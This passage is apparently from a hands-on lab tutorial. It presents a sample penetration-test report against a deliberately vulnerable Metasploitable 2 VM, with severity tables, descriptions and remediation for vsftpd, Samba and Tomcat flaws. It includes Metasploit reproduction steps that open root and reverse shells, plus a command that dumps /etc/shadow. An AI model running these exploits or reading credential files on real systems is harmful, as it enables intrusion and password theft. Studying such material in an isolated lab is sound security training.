2. **Enumeration** - Full TCP port scan with service version detection and OS fingerprinting
3. **Vulnerability Analysis** - Targeted NSE scripts and manual research of identified services
4. **Exploitation** - Active exploitation of confirmed vulnerabilities to demonstrate impact
5. **Post-Exploitation** - Credential harvesting and privilege verification
6. **Reporting** - Documentation of all findings with evidence and remediation guidance

## Scope

- **Target IP:** [[TARGET_IP="your Metasploitable 2 IP address"]]
- **Network:** Host-only network (192.168.56.0/24)
- **Engagement Type:** Full penetration test (black box)
- **Rules of Engagement:** All services on the target are in scope. No denial-of-service testing. No lateral movement to other hosts.
- **Tools Used:** Nmap, Metasploit Framework, manual enumeration

---

## Findings

### Finding 1: vsftpd 2.3.4 Backdoor (CVE-2011-2523)

| Field | Detail |
|-------|--------|
| **Severity** | Critical |
| **CVSS Score** | 10.0 |
| **Affected Service** | FTP (port 21) |
| **CVE** | CVE-2011-2523 |

**Description:**  
The target runs vsftpd 2.3.4, which contains a malicious backdoor introduced into the source code. When a connection is made with a username containing a smiley face ":)", the backdoor opens a shell listener on port 6200. This grants unauthenticated remote root access.

**Evidence:**  
See `evidence/nmap_full.txt` for service version confirmation. Exploitation confirmed root shell (uid=0).

**Reproduction Steps:**
```
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS [[TARGET_IP="your Metasploitable 2 IP address"]]
set payload cmd/unix/interact
run
```

**Impact:**  
Complete system compromise. An attacker gains immediate root access without any credentials.

**Remediation:**  
- Upgrade vsftpd to the latest stable version from official repositories.
- Verify package integrity using checksums from the official distribution.
- Disable FTP entirely and use SFTP if file transfer is needed.

### Finding 2: Samba 3.0.20 usermap_script Command Injection (CVE-2007-2447)

| Field | Detail |
|-------|--------|
| **Severity** | Critical |
| **CVSS Score** | 10.0 |
| **Affected Service** | SMB (ports 139/445) |
| **CVE** | CVE-2007-2447 |

**Description:**  
The target runs Samba 3.0.20-Debian, which is vulnerable to a command injection flaw in the username map script functionality. By sending a specially crafted username containing shell metacharacters, an unauthenticated attacker can execute arbitrary commands as root.

**Evidence:**  
Exploitation confirmed root shell (uid=0). Post-exploitation credential harvesting performed. See `evidence/shadow.txt` for dumped password hashes.

**Reproduction Steps:**
```
msfconsole
use exploit/multi/samba/usermap_script
set RHOSTS [[TARGET_IP="your Metasploitable 2 IP address"]]
set payload cmd/unix/reverse
set LHOST [Your Kali IP]
run
```

Post-exploitation:
```
cat /etc/shadow
```

**Impact:**  
Complete system compromise with credential exposure. Harvested password hashes enable offline cracking and potential lateral movement to other services.

**Remediation:**  
- Upgrade Samba to a version newer than 3.0.25rc3.
- Restrict SMB access using firewall rules to authorized hosts only.
- Disable unused SMB shares and services.

### Finding 3: Apache Tomcat Manager Default Credentials

| Field | Detail |
|-------|--------|
| **Severity** | Critical |
| **CVSS Score** | 9.8 |
| **Affected Service** | Apache Tomcat (port 8080) |
| **CVE** | N/A (Misconfiguration) |

**Description:**  
The Apache Tomcat Manager application on port 8080 is accessible with default credentials (tomcat:tomcat). This allows an attacker to deploy arbitrary WAR files, resulting in remote code execution on the server.

**Evidence:**  
Credential brute-force confirmed valid login. WAR payload deployment achieved Meterpreter session with server-level access.

**Reproduction Steps:**
```
msfconsole
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS [[TARGET_IP="your Metasploitable 2 IP address"]]
set RPORT 8080
run
```

With credentials confirmed:
```
use exploit/multi/http/tomcat_mgr_upload
set RHOSTS [[TARGET_IP="your Metasploitable 2 IP address"]]
set RPORT 8080
set HttpUsername tomcat
set HttpPassword tomcat
set LHOST [Your Kali IP]
run
```

**Impact:**  
Remote code execution. An attacker can deploy malicious applications, access server resources, pivot to internal systems, and potentially compromise the entire network.

**Remediation:**  
- Change all default credentials immediately.
- Restrict access to the Tomcat Manager interface by IP whitelist.
- Disable the Manager application entirely if not required in production.
- Enforce strong password policies for all web administration interfaces.

Your pentest report is complete. You now have a professional deliverable that documents your entire engagement from reconnaissance through remediation. This is the artifact that separates a penetration tester from someone who just runs exploits.

Next up, you will tackle the Secret Mission: chaining a cracked credential from your evidence to pivot into another service without any Metasploit modules.

Secret mission

Credential Pivot Without Metasploit

You've proven you can exploit services with Metasploit. Now demonstrate real attacker tradecraft by chaining a credential harvested from one exploit to pivot into a second service manually. No exploit frameworks allowed for this one.

Clean Up Your Resources

Clean Up Your Resources

This project runs entirely locally on your machine using VirtualBox, so there are no ongoing cloud costs.

Decide whether to keep your resources running, pause them to come back later, or delete them entirely.

Resources you used:

  • Metasploitable 2 VM in VirtualBox.
  • Kali Linux VM in VirtualBox.
  • VirtualBox host-only network adapter (192.168.56.0/24).
  • Pentest report directory at ~/pentest-report/ with evidence files.
  • Nmap scan output files.

Keep everything running

No action needed. Choose this if you plan to continue practicing exploitation techniques or want to revisit the lab for the Secret Mission.

  • Your VMs will remain configured and ready to boot.
  • The host-only network stays configured in VirtualBox for future use.
  • Your report files remain in ~/pentest-report/ for reference.

Pause - I'll come back to this later

Shut down both VMs to free up system memory and CPU resources while keeping everything intact for later.

  • In VirtualBox Manager, right-click on Metasploitable 2 and select Close, then Power Off.
  • Do the same for your Kali Linux VM.
  • Both VMs will retain their current state and can be booted again without reconfiguration.

Delete - I don't want to use this again

Remove all project resources and start fresh. This frees up disk space but you will need to re-download and reconfigure if you want to use them again.

  • In VirtualBox Manager, right-click on Metasploitable 2 and select Remove. Choose Delete all files to reclaim disk space.
  • If you no longer need Kali Linux, repeat the same process for your Kali VM.
  • Open File > Tools > Network Manager and remove the host-only network if no other VMs use it.
  • Delete the report directory from your Kali home folder by running rm -rf ~/pentest-report in a terminal.

That's a Wrap!

That's a Wrap!

Nice work! You just executed a full penetration testing engagement from initial scoping through final report delivery.

Here's what you learned:

  • Exploited three different vulnerability classes on a live target: a supply-chain backdoor (vsftpd), a command injection flaw (Samba), and default credentials leading to code execution (Tomcat).
  • Conducted professional reconnaissance using Nmap with service versioning, OS detection, and NSE scripts to map the target's full attack surface.
  • Produced a professional pentest report with an executive summary, methodology, and evidence-backed finding cards documenting severity, reproduction steps, and remediation guidance.
  • Secret Mission: Pivoted between services using cracked credentials without Metasploit, demonstrating real attacker tradecraft for lateral movement.

Ready to quiz yourself?